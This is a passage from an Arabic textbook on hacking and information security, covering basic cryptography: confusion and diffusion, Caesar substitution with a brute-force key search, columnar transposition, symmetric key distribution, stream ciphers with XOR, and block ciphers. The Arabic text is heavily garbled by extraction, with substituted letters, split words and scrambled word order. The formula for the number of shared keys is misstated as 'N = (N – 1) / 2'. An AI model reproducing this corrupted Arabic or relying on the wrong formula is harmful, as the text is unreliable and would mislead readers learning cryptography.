Key
‫ال‬ ‫تلك‬ ‫داطل‬
Algorithm
‫؟‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫بإجراء‬ ‫يقوم‬ ‫لنه‬
Substitutions
‫ال‬ ‫و‬
Transpositions
‫ال‬ ‫عىل‬
plaintext
.‫التشفري‬ ‫لتحقيق‬
‫ال‬ ‫ذذا‬ ‫ما‬
Substitutions
‫ال‬ ‫و‬
Transpositions
‫؟‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[297]
‫األوىل‬
(
Substitution
)
‫سيتم‬ ‫الرسالة‬ ‫يف‬ ‫حرف‬ ‫ُل‬‫ك‬ ً‫ال‬‫قمث‬ ،‫طرى‬ُ‫أ‬ ٍ‫قيمة‬‫ب‬ ‫استبداهلا‬ ‫م‬ُ‫ث‬ ‫قيمة‬ ‫ذ‬‫أط‬ ..‫باطتصار‬ ‫قهي‬
.‫جديد‬ ‫بحرف‬ ‫استبداله‬
‫ا‬ ‫أو‬ ‫م‬َ‫ي‬‫الق‬ ‫ع‬ َ
‫ض‬َ‫أ‬ ‫أنني‬ ‫قتعني‬ ‫الثانية‬ ‫وأما‬
‫ال‬ ‫لجراء‬ ‫بعد‬ ‫ف‬ ُ‫ألحر‬
Transpositions
‫َغيري‬‫ت‬‫ب‬ ‫أو‬ ‫ا‬‫هت‬ َ‫ر‬َ‫ث‬‫ببع‬ ‫أقوم‬ ‫م‬ُ‫ث‬ ،‫أمامي‬ ‫عليها‬
.‫ها‬‫ن‬‫أماك‬
‫العملية؟‬ ‫ذذه‬ ‫لجراء‬ ‫من‬ ‫الغرض‬ ‫وما‬
‫ال‬ ‫أو‬ ‫املقاييس‬ ‫أحد‬ ‫لهنا‬
(Characteristics)
‫ال‬ ‫قوة‬ ‫عن‬ ‫ُعرب‬‫ت‬ ‫التي‬
Algorithm
.!
:‫عليها‬ ‫ق‬‫ُطل‬‫ن‬
“Confusion and Diffusion”
‫ال‬ ‫ُحقق‬‫ن‬
Confusion
‫ذذا‬
‫بأن‬
‫ال‬ ‫بني‬ ‫القة‬َ‫ع‬‫ال‬ ‫تكون‬
plaintext
‫ال‬ ‫و‬
key
،!‫التعقيد‬ ‫شديدة‬
‫قام‬ ‫لو‬ ‫أنه‬ ‫لنضمن‬ ‫وذذا‬
‫ال‬ ‫بمعرقة‬ ‫أحدذم‬
ciphertext
‫وال‬
plaintext
‫عىل‬ ‫متت‬ ‫التي‬ ‫بادالت‬ُ‫مل‬‫ا‬ ‫ختمني‬ ‫عليه‬ ‫الصعب‬ ‫من‬ ‫قيكون‬ ً‫ا‬‫مع‬
"
‫احلرف‬
"
‫ال‬ ‫أو‬
character
‫ال‬ ‫يف‬ ‫املوجود‬
plaintext
‫ذلك‬ ‫لينتج‬
"
‫احلرف‬
"
‫ا‬
‫ال‬ ‫يف‬ ‫له‬ ‫ملقابل‬
ciphertext
.
‫ال‬ ‫تطبيق‬‫ب‬ ‫قق‬َ‫تح‬َ‫ي‬ ‫وذذا‬
Substitution
.‫مراحل‬ ‫عدة‬ ‫عىل‬
:‫له‬ ‫آطر‬ ‫تعريف‬ ‫ذذا‬
Confusion refers to methods used to hide relationships between the plaintext,
the ciphertext, and the key. This means that the output bits must involve some complex
transformation of the key and plaintext.
‫ال‬ ‫أما‬
Diffusion
‫يتحقق‬
‫بأن‬
‫ال‬ ‫بني‬ ‫العالقة‬ ‫تكون‬
plaintext
‫ال‬ ‫و‬
ciphertext
‫مستطا‬ ‫قدر‬ ‫بأكرب‬ ‫معقدة‬
‫ع‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[298]
(As complex as possible)
‫ال‬ ‫ختمني‬ ‫حماوالت‬ ‫لحباط‬ ‫ألجل‬ ‫وذذا‬
Key
‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬
‫التقاط‬ ‫حالة‬
‫لل‬ ‫أحدذم‬
ciphertext
.
‫ويت‬
‫ال‬ ‫بتطبيق‬ ‫ذذا‬ ‫حقق‬
Transposition
.ً‫ا‬‫أيض‬ ‫مراحل‬ ‫عدة‬ ‫عىل‬
‫ال‬ ‫أن‬ ‫يعني‬ ‫ذذا‬
Confusion
‫بال‬ ‫َى‬‫ن‬‫ع‬ُ‫ي‬
Substitution
‫وال‬ ،
Diffusion
‫بال‬ ‫َى‬‫ن‬‫ع‬ُ‫ي‬
Transposition
.
‫ال‬ ‫تستوعب‬ ‫مل‬ ‫لذا‬
Confusion
‫ال‬ ‫و‬
Diffusion
‫قستفهمهم‬ ‫واضح‬ ‫بشكل‬
ً‫ا‬‫جيد‬
‫عقب‬
:‫األمثلة‬ ‫ذذه‬
Substitution Example
‫َع‬‫ن‬ َ
‫س‬
‫السيد‬ ‫تاب‬‫ك‬ ‫ن‬‫م‬ ‫ثال‬‫م‬ ‫ض‬‫ر‬
"
‫ستالينج‬ ‫ويليام‬
"
‫لل‬
Caesar Cipher
‫ال‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ‫به‬ ‫لنوضح‬
Substitution
‫لسمه‬ ‫من‬ ‫يبدو‬ ‫كام‬..
"
Caesar Cipher
"
‫عهد‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬ ‫كان‬ ‫أنه‬
"
‫قيرص‬ ‫يوليوس‬
"
‫ل‬ ‫مثال‬ ‫ماييل‬
plaintext
‫وال‬ ،
ciphertext
:‫هلا‬ ‫ناظر‬ُ‫مل‬‫ا‬
plain: meet me after the toga party
cipher: PHHW PH DIWHU WKH WRJD SDUWB
‫ال‬ ‫ختمني‬ ‫علينا‬ ً‫ال‬‫سه‬ ‫يبدو‬
Secret Key
‫كذلك؟‬ ‫أليس‬ ..
‫ال‬ ‫قائدة‬ ‫أدركت‬ ‫ذل‬
Confusion & Diffusion
‫اآلن؟‬
‫ال‬ ‫أن‬ ‫يبدو‬ ..‫هم‬ُ‫مل‬‫ا‬
Key
‫ذو‬
“character in plain + 3”
‫ال‬ ‫إلنتاج‬
cipher
‫وصول‬ ‫عند‬ ‫الشفرة‬ ‫لفك‬ ‫وبالعكس‬ ،
‫الرسال‬
‫ة‬
“character in cipher – 3”
.
‫بال‬ ‫أمسكنا‬ ‫أننا‬ ‫نفرض‬‫ل‬
cipher
‫ال‬ ‫ختمني‬ ‫مكننا‬ُ‫ي‬ ‫كيف‬ ..‫اآلطر‬ ‫الشخص‬ ‫لىل‬ ‫السعيدة‬ ‫رحلته‬ ‫أثناء‬ ‫ذذا‬
Key
‫ستخدم؟‬ُ‫مل‬‫ا‬
‫ال‬ ‫وختمني‬ ‫املقارنة‬ ‫لجراء‬ ‫علينا‬ ‫ل‬ُ‫سه‬َ‫ي‬‫ل‬ ،‫بالشكل‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫مجيعها‬ ‫األحرف‬ ‫برتقيم‬ ‫سنقوم‬
Substitutions
‫احلادث‬
‫ة‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[299]
‫ال‬ ‫ذذا‬ ‫واآلن‬
Key
‫(احلرف‬ ‫يكون‬ ‫أن‬ ‫لما‬
+
1
‫(احلرف‬ ‫أو‬ ،)
+
2
( ‫أو‬ ،)
‫احلرف‬
+
3
‫لىل‬ ‫ل‬‫َص‬‫ن‬ ‫أن‬ ‫لىل‬ ،)
‫(احلرف‬
+
25
.)
‫أمام‬ ‫قنحن‬ ً‫ا‬‫لذ‬
“25 of potentials Keys”
،
‫لدينا‬ ‫أننا‬ ‫أي‬
25
‫ال‬ ‫ذذا‬ ‫عىل‬ ‫ُجرِبم‬‫ن‬‫ل‬ ‫احتامل‬
cipher
،‫املخرجات‬ ‫ُشاذد‬‫ن‬‫و‬
‫قد‬ ‫نكون‬ ‫حينها‬ ،!‫مفهومة‬ ‫عبارة‬ ‫ُصادف‬‫ن‬ ‫أن‬ ‫لىل‬
‫عىل‬ ‫عنا‬َ‫ق‬‫و‬
‫ال‬
Key
.‫السليم‬
‫ال‬ ‫لدينا‬ ‫نا‬ُ‫ذ‬ ‫أننا‬ ‫وبام‬
cipher
‫(احلرف‬ :‫عادلة‬ُ‫مل‬‫ا‬ ‫كس‬َ‫ع‬‫ب‬ ‫قسنقوم‬ ،
–
1
‫(احلرف‬ ،)
–
2
‫(احلرف‬... ،)
–
25
.‫وذكذا‬ ،)
:‫املعادلة‬ ‫ذذه‬ ‫لنا‬ ‫ها‬ ُ
‫ص‬ِّ‫ُلخ‬‫ت‬
Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26
‫ال‬ ‫أن‬ ‫يبدو‬
Algorithm
‫ب‬ ‫أشبه‬
function
‫تأطذ‬
Arguments
‫ال‬ ‫ذي‬
Key
‫وال‬
Cipher
‫ال‬ ‫لنا‬ ‫ُنتج‬‫ت‬‫ل‬
Plaintext
.
‫ذيا‬
:‫خرجات‬ُ‫مل‬‫ا‬ ‫ومشاذدة‬ ‫املعادلة‬ ‫ذذه‬ ‫تطبيق‬ ‫ُجرب‬‫ن‬‫ل‬
PHHW PH DIWHU WKH WRJD SDUWB
KEY………………………………………………………………………….
1 oggv og chvgt vjg vqic rctva
2 nffu nf bgufs uif uphb qbsuz
3 meet me after the toga party
4 ldds ld zesdq sgd snfz ozqsx
5 kccr kc ydrcp rfc rmey nyprw
6 jbbq jb xcqbo qeb qldx mxoqv
7 iaap ia wbpan pda pkcw lwnpu
…
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[300]
‫ُسميه‬‫ن‬ ‫طبقناه‬ ‫الذي‬ ‫ذذا‬
“Brute-Force Attack”
:‫اآليت‬ ‫يعني‬ ‫وذو‬
Trying every possible key until an intelligible translation of the ciphertext into plaintext is
obtained.
‫م‬‫ه‬َ‫ق‬ ‫لقد‬
‫نا‬
‫ال‬
Substitution
..‫اآلن‬
‫ال‬ ‫لىل‬ ‫ل‬‫َق‬‫ت‬‫نن‬‫ل‬ ‫ذيا‬
Transposition
.
Transposition Example
‫ال‬ ‫ذو‬ ‫بسيط‬ ‫تكنيك‬ ‫سنستخدم‬
“rail fence”
‫ال‬ ‫عملية‬ ‫إلجراء‬
Transposition
‫ال‬ ‫عىل‬
Plaintext
.‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬
‫ع‬ ‫عبارة‬ ‫برسالة‬ ‫مثال‬ ‫نأطذ‬
:‫ن‬
THIS IS REALY GREAT BOOK
‫لتحقيق‬
Security
‫ذيئة‬ ‫عىل‬ ‫ها‬‫ت‬َ‫ب‬‫تا‬‫ك‬‫ب‬ ‫سنقوم‬ ‫أعىل‬
"
Block
"
.
‫ذيئة‬ ‫عىل‬ ‫فوف‬ ُ
‫ص‬ ‫يف‬ ‫الرسالة‬ ‫ُب‬‫ت‬‫َك‬‫ن‬ َ
‫س‬
block
‫ال‬ ‫ن‬ِّ‫ُكو‬‫ن‬ ‫ولكي‬
ciphertext
،!‫بالطول‬ ‫ولكن‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫بكتابتها‬ ‫سنقوم‬
‫ال‬ ‫لضاقة‬ ‫مع‬
Key
‫ب‬ ‫َبدأ‬‫ن‬ َ
‫س‬ ‫األعمدة‬ ّ‫أي‬ ‫د‬ِّ‫د‬َ‫ح‬ُ‫ي‬ َ
‫س‬ ‫والذي‬
ً‫ال‬‫أو‬ ‫ه‬
..‫وذكذا‬ ‫يليه‬ ‫الذي‬ ‫م‬ُ‫ث‬
Key: 3 4 1 2 5………..
Plain: T H I S I……………..
S R E A L
Y G R E A
T B O O K
‫ال‬ ‫باستخدام‬ ‫سنقوم‬ ‫واآلن‬
Key
‫ال‬ ‫لتكوين‬
cipher
‫بال‬ ‫نبدأ‬ ‫بحيث‬ ،
Colum
‫ثم‬ ،‫الرتتيب‬ ‫يف‬ ‫الثالث‬ ‫وذو‬ ‫واحد‬ ‫رقم‬
‫ال‬
Colum
‫رقم‬
2
.‫وذكذا‬ ..‫الرتتيب‬ ‫يف‬ ‫الرابع‬ ‫وذو‬
‫ال‬ ‫قيكون‬
Cipher
:‫الشكل‬ ‫ِبذا‬ ‫النهاية‬ ‫يف‬
IEROSAEOTSYTHRGBILAK
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[301]
Symmetric Cryptography
‫البداية‬ ‫يف‬
‫سنقوم‬
‫بتو‬
‫ض‬
‫ي‬
‫ح‬
‫ال‬ ‫مفهوم‬
“Cryptosystem”
ُ‫ه‬‫لن‬
ُ‫ي‬
َ‫ك‬ َ
‫شرت‬ُ‫مل‬‫ا‬ ‫املعادالت‬ ‫جمموعة‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫تقديم‬ ‫يف‬
Security Service
‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫وذي‬ ،
.!‫التشفري‬
‫ال‬ ‫يتكون‬
Cryptosystem
‫ثالثة‬ ‫من‬ ‫ذذا‬
Algorithms
:

‫ال‬ ‫يف‬ ‫األوىل‬ ‫م‬َ‫ُستخد‬‫ت‬
Key generation
.

‫ال‬ ‫لجراء‬ ‫أجل‬ ‫من‬ ‫والثانية‬
Encryption
.

‫والثالث‬
‫ة‬
‫أل‬
‫ال‬ ‫جل‬
Decryption
.
‫الرموز‬ ‫ِبذه‬ ‫املراحل‬ ‫ذذه‬ ‫عن‬ ‫التعبري‬ ‫نستطيع‬
{X, K, E, Y, D}
.
‫ال‬ ‫ز‬ُ‫م‬‫ر‬َ‫ي‬ ‫حيث‬
X
‫ال‬ ‫لىل‬
plaintext
‫وال‬ ،
K
‫ال‬ ‫لىل‬
Key
‫وال‬ ،
E
‫ا‬ ‫لىل‬
‫ل‬
Encryption
‫وال‬ ،
Y
‫ال‬ ‫لىل‬
Ciphertext
،
‫ال‬ ً‫ا‬‫وأطري‬
D
‫ال‬ ‫لىل‬
Decryption
.
‫الشكل‬
‫التالي‬ ‫بالصفحة‬
‫ة‬
:‫التشفري‬ ‫ك‬َ‫ق‬‫و‬ ‫التشفري‬ ‫عملية‬ ‫يف‬ ‫وظيفتهم‬ ‫لك‬ ‫يوضح‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[302]
‫ال‬ ‫بتعريف‬ ‫ونقوم‬
“Symmetric Ciphers”
‫ال‬ ‫بأهنا‬
Cryptosystems
‫ال‬ ‫َفس‬‫ن‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ ‫التي‬
Key
‫التشفري‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬
‫التش‬ ‫وقك‬
.‫فري‬
‫قلو‬
‫ا‬
‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ َ
‫س‬َ‫ق‬ ‫ينهم‬َ‫ب‬ ‫قيام‬ ‫آمن‬ ‫اتصال‬ ‫لجراء‬ ‫د‬َ‫َو‬‫ت‬ ‫ة‬َ‫موع‬ َ
‫جم‬ ‫أن‬ ‫ضنا‬ َ‫ر‬َ‫ق‬
Key
،‫طرقني‬ ‫كل‬ ‫بني‬ ‫وحيد‬
‫عترب‬ُ‫ي‬
“Shared Secret Key”
‫ال‬ ‫زاد‬ ‫ُلام‬‫ك‬‫و‬ .‫بينهم‬ ‫قيام‬
Key Space
.‫ه‬‫كُس‬ ‫صعوبة‬ ‫وازدادت‬ ُ‫ه‬‫قوت‬ ‫ازدادت‬ ‫ُلام‬‫ك‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[303]
‫ال‬ ‫ذذا‬ ‫توزيع‬ ‫سيتم‬ ‫كيف‬ ‫ولكن‬
Secret Key
‫بني‬
‫كل‬ ‫لىل‬ ‫وِسي‬ ‫ن‬‫آم‬ ‫بشكل‬ ‫وصوله‬ ‫نضمن‬ ‫بحيث‬ ‫َة‬‫ك‬ َ
‫شرت‬ُ‫مل‬‫ا‬ ‫األطراف‬
.‫منهم؟‬
‫ل‬ُ‫د‬‫َبا‬‫ت‬‫ال‬ ‫ذذا‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ‫أن‬ ‫أبسطها‬ ،‫األمر‬ ‫ذذا‬ ‫إلجراء‬ ‫دائل‬َ‫ب‬ ‫دة‬‫ع‬ ‫نا‬ُ‫ذ‬ ‫توجد‬
offline
..!‫بينهم‬ ‫قيام‬
‫بال‬ ‫العملية‬ ‫ذذه‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬
"
Key Distribution Management
"
..‫الباب‬ ‫ذذا‬ ‫هناية‬ ‫يف‬ ‫عنها‬ ‫سنتكلم‬ ،
‫يتميز‬
‫بال‬ ‫قورن‬ ‫ما‬ ‫لذا‬ ‫العالية‬ ‫بالُسعة‬ ‫التشفري‬ ‫من‬ ‫النوع‬ ‫ذذا‬
Asymmetric Encryption
‫قدم‬ُ‫ي‬ ‫ال‬ ُ‫ه‬‫أن‬ ‫عيوبه‬ ‫من‬ ‫لكن‬ ،
‫ال‬ ‫طدمة‬ ‫لنا‬
Nonrepudiation
.
‫ال‬ ‫ذذا‬ ‫ما‬
Nonrepudiation
..
‫؟‬
‫لليه‬ ‫وصلت‬ ‫التي‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫ل‬‫َقب‬‫ت‬‫س‬ُ‫للم‬ ‫ِّد‬‫ك‬‫ُؤ‬‫ت‬ ‫طاصية‬ ‫لهنا‬
،
‫قادم‬
‫ة‬
‫من‬
‫ب‬ ‫بإرسلها‬ ‫قام‬ ‫الذي‬ ‫الشخص‬
‫يتم‬ ‫ومل‬ ،‫الفعل‬
..‫قليل‬ ‫بعد‬ ‫لليها‬ ‫سنأيت‬ .!‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫شخصية‬ ً‫ال‬‫نتح‬ُ‫م‬ ‫آطر‬ ‫شخص‬ ‫طريق‬ ‫عن‬ ‫لرساهلا‬
‫ال‬ ‫ذذا‬ ‫أن‬ ‫بام‬ ‫واآلن‬
Key
‫ال‬ ‫ذذا‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫بام‬ ُ‫ر‬َ‫ق‬ ،‫والفك‬ ‫للتشفري‬ ‫وحيد‬
key
ُ‫ه‬‫وكأن‬ ‫معي‬ ‫ل‬ ُ
‫التواص‬ َ‫ن‬‫م‬ ‫تمكن‬َ‫ي‬َ‫ق‬ ‫م‬‫ذ‬‫د‬ َ‫ح‬َ‫أ‬ ‫بيد‬
‫ال‬ ‫حالة‬ ‫يف‬ ‫بينام‬ ،!‫رجو‬َ‫مل‬‫ا‬ ‫الشخص‬
Asymmetric Encryption
‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬
key
‫قك‬ ‫أجل‬ ‫من‬ ‫آطر‬ ‫و‬ ‫التشفري‬ ‫أجل‬ ‫من‬
‫ال‬ ‫أحد‬ َ‫ع‬َ‫ق‬َ‫و‬ ‫قلو‬ .‫التشفري‬
keys
‫معنا‬ ‫التالعب‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ‫أحدذم‬ ‫أيدي‬ ‫قي‬

.
‫ال‬ ‫األعداد‬ ‫عىل‬ ‫تطبيقه‬ ‫حماولة‬ ‫عند‬ ‫دي‬ ُ
‫جم‬ ‫غري‬ ‫أنه‬ ‫عيوبه‬ ‫من‬ ً‫ا‬‫أيض‬
،‫اإلتصال‬ ‫يف‬ ‫شرتكني‬ُ‫مل‬‫ا‬ ‫من‬ ‫كبرية‬
‫عملية‬ ‫لكل‬ ‫أن‬ ‫حيث‬
‫ستحتاج‬ ‫اثنني‬ ‫بني‬ ‫اتصال‬
Key
..‫ِبم‬ ‫طاص‬
‫يف‬ ‫الدطول‬ ‫يريدون‬ ‫أشخاص‬ ‫أربعة‬ ‫أن‬ ‫لنفرض‬ :ً‫ال‬‫قمث‬
group
‫ال‬ .‫بينهم‬ ‫قيام‬ ‫ليتواصلوا‬
user1
‫سيحتاج‬
key
‫ليتصل‬
‫بال‬
user2
‫و‬ ،
key
‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫ُمتلف‬
user3
‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫وآطر‬ ،
user4
.
‫ثم‬
user2
‫سيحتاج‬
key
‫ُمتلف‬
‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫عنهم‬
user3
‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫وآطر‬ ،
user4
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[304]
‫بتوظيف‬ ‫احلفلة‬ ‫وتنتهي‬
6 keys
‫هلؤالء‬
‫الشباب‬

.
‫تقوم‬ ‫بمعادلة‬ ‫ذذا‬ ‫تلخيص‬ ‫مكننا‬ُ‫ي‬
‫ال‬ ‫بحساب‬
keys
‫ال‬ ‫عدد‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫الالزمة‬
parties
‫امل‬
‫شرتكني‬
.‫املصلحة‬ ‫يف‬
N = (N – 1) / 2
‫عىل‬ ً‫ال‬‫مث‬ ‫املعادلة‬ ‫ذذه‬ ‫وبتطبيق‬
Web Application
‫به‬ ‫باالتصال‬ ‫يقوم‬
‫ال‬ ‫من‬ ‫اآلالف‬
users
‫ال‬ ‫من‬ ‫اهلائل‬ ‫بالكم‬ ‫ُفاجأ‬‫ن‬‫س‬ ،
keys
‫ُما‬ .!‫لذلك‬ ‫املطلوبة‬
.‫العملية‬ ‫هلذه‬ ‫الئم‬ُ‫م‬ ‫غري‬ ‫جيعله‬
‫ال‬
‫شكل‬
‫باألعىل‬
‫ال‬ ‫كمية‬ ‫وحساب‬ ‫شرتكني‬ُ‫مل‬‫ا‬ ‫عدد‬ ‫عىل‬ ‫املعادلة‬ ‫تطبيق‬ ‫وضح‬ُ‫ي‬
Keys
.‫االتصال‬ ‫إلجراء‬ ‫املطلوبة‬
‫ال‬ ‫أنواع‬ ‫عن‬ ‫سنتكلم‬ ‫واآلن‬
Ciphers
‫ال‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬
Symmetric Cryptography
.
Stream Cipher
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫كرة‬‫ق‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬
ciphers
‫وجود‬ ‫عىل‬
“Key stream Generator”
‫بإنتاج‬ ‫يقوم‬
Stream
‫ال‬ ‫من‬
Bits
‫أو‬
‫ال‬
Bytes
‫ُسميها‬‫ن‬ ‫كام‬ ‫أو‬ ‫العشوائية‬
Pseudo-Random Bits
‫اسمها‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬ ،
“Random”
‫عدم‬ ‫شرتط‬ُ‫ي‬ ‫أنه‬
‫ال‬ ‫بني‬ ‫رياضية‬ ‫عالقة‬ ‫وجود‬
Bit
‫وال‬
Bit
‫ال‬ ‫يف‬ ‫يليه‬ ‫الذي‬
Stream
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[305]
:‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫انتاجها‬ ‫يتم‬ ً‫ا‬‫غالب‬
“One bit or one byte at a time”
‫كل‬ ‫أنه‬ ‫بمعنى‬
plaintext digit
ُ‫ه‬‫قابل‬ُ‫ي‬
random bit
.
‫ال‬ ‫من‬ ‫السلسله‬ ‫ذذه‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬‫و‬
random bits
‫بال‬
Key Stream
‫ال‬ ‫ستكون‬ ‫أهنا‬ ‫أي‬ ،
Key
.!‫نا‬ُ‫ذ‬
‫ال‬ ‫ذذا‬
Key
‫الطرق‬ ‫ال‬‫ك‬ ُ‫ه‬‫سيمتلك‬
.‫اإلتصال‬ ‫يف‬ ‫املشرتكني‬ ‫ني‬
‫بعمل‬ ‫نقوم‬ ‫ثم‬
XOR
‫ال‬ ‫ذذه‬ ‫بني‬
Bits
‫وال‬
Plaintext digits
‫ال‬ ‫لنتاج‬ ‫ذا‬‫ِب‬ ‫تم‬َ‫ي‬‫ل‬
Ciphertext
.
‫ة‬َ‫ه‬‫للج‬ ‫وصوله‬ َ‫ند‬‫وع‬
‫ال‬ ‫نفس‬ ‫استخدام‬ ً‫ا‬‫أيض‬ ‫م‬‫ت‬َ‫ي‬ ‫طرى‬ُ‫أل‬‫ا‬
Key
‫ال‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬
Decryption
‫ال‬ ‫عادة‬‫الست‬ ‫ريقة‬َ‫ط‬‫ال‬ ‫َفس‬‫ن‬‫ب‬
plaintext
‫شكل‬ ‫ماييل‬ .
‫ال‬ ‫يوضح‬
process
‫احلاصل‬
‫ة‬
:
:‫العملية‬ ‫نفس‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫وذذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[306]
‫ال‬ ‫ذذا‬ ‫باستخدام‬ ‫نقوم‬ ‫ملاذا‬ ..‫تتسائل‬ ‫لعلك‬
XOR
‫؟‬..
‫(ال‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫شكل‬ ‫يف‬ ‫التغري‬ ‫حيدث‬ ‫لكي‬ ،‫األول‬ ‫السبب‬
plaintext
‫ال‬ ‫ِبذه‬ ‫نأيت‬ ‫ندما‬‫ع‬ ‫عليه‬ ‫ل‬ ُ
‫َحص‬‫ن‬ َ
‫س‬ ُّ
‫َغري‬‫ت‬‫ال‬ ‫وذذا‬ ،)
bits
‫ال‬ ‫مع‬ ‫وندجمها‬
plaintext
‫ال‬ ‫لينتج‬
ciphertext
‫ال‬ ‫ذذه‬ ،
XOR
‫ُعترب‬‫ت‬
“Linear Function”
It detects the ODD and the EVEN counts.
The output will be 1 (when input bits are not matching)
And the output will be 0 (when input bits are matching).
‫بأهنا‬ ‫تتميز‬ ‫أهنا‬ ،‫الثاين‬ ‫والسبب‬
Reversible Operation
.
‫و‬
‫ا‬‫َوهن‬‫ك‬ ‫من‬ ‫سنستفيد‬ ‫ماذا‬
“Reversible Operation”
‫؟‬..
‫س‬
‫ن‬
‫أ‬
‫طذ‬
‫ل‬ ‫مثال‬
‫نفهم‬
‫ال‬ ‫عملية‬ ‫قائدة‬ ‫منه‬
XOR
‫ذذه‬
.
‫ال‬ ‫أن‬ ‫لنفرض‬
plaintext digit
‫ال‬ ‫ذو‬
X
‫وال‬
Random Bit
‫ال‬ ‫ذو‬
Y
‫وال‬
(X XOR Y)
‫ال‬ ‫ذو‬
Ciphertext
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[307]
‫ال‬ ‫ذذا‬
ciphertext
‫عمل‬ ‫سيتم‬ ‫األطرى‬ ‫للجهة‬ ‫يصل‬ ‫عندما‬
XOR
‫ال‬ ‫مع‬ ‫له‬
Y
‫ال‬ ‫وذو‬
Bit Stream
‫ال‬ ‫نفس‬ ‫لينتج‬
X
.‫يظهر‬ ‫كام‬ ‫أطرى‬ ً‫ة‬‫مر‬
X Y X ⊕ Y
0 0 0
0 1 1
1 0 1
1 1 0
Block Cipher
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬
Ciphers
‫ال‬ ‫مع‬ ‫يتعامل‬
message
‫ال‬ ‫أو‬
plaintext
‫ك‬
Block
‫ال‬ ‫ذذا‬ ،
Block
‫ال‬ ‫لىل‬ ‫حتويله‬ ‫سيتم‬
ciphertext
‫ذيئة‬ ‫عىل‬
Block
‫ال‬ ‫بنفس‬ ً‫ا‬‫أيض‬
Length
.
‫ال‬ ‫بالشكل‬ ‫موضح‬
Length of Block
‫بال‬ ‫لليه‬ ‫املشار‬ ‫وذو‬
“b bits”
‫لل‬ ‫ثابت‬ ‫أنه‬ ‫الحظ‬
plaintext
‫وال‬
ciphertext
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[308]
‫ال‬ ‫تتذكر‬ ‫ذل‬
Transposition Cipher
‫قبل؟‬ ‫من‬ ‫رشحناه‬ ‫الذي‬
‫ال‬ ‫ذذا‬ ‫د‬َ‫ع‬ُ‫ي‬
Transposition Cipher
‫ال‬ ‫أشكال‬ ‫أحد‬
Block Ciphers
.
‫ال‬ ‫عملية‬ ‫يوضح‬ ‫السابق‬ ‫الشكل‬
‫ل‬ ‫تشفري‬
Single Block
‫تقطيع‬ ‫يتم‬ ‫بل‬ ،‫كذلك‬ ‫األمر‬ ‫يكون‬ ‫ال‬ ‫الواقع‬ ‫يف‬ ‫ولكن‬ ،!‫ققط‬
‫ال‬
plaintext
‫لىل‬
‫من‬ ‫أكثر‬
Block
‫ُل‬‫ك‬ ،
Block
‫حجمه‬ ‫غ‬ُ‫ل‬‫ب‬َ‫ي‬ ‫نهم‬‫م‬
64 bits
‫أو‬
128 bits
.
In the next Fig: the input to the encryption algorithm is the XOR of the current plaintext block
and the preceding ciphertext block
‫ال‬ ‫عملية‬ ‫يف‬ ‫غريب‬ ‫يشء‬ ‫طول‬ُ‫د‬ ‫ظ‬‫ُالح‬‫ن‬
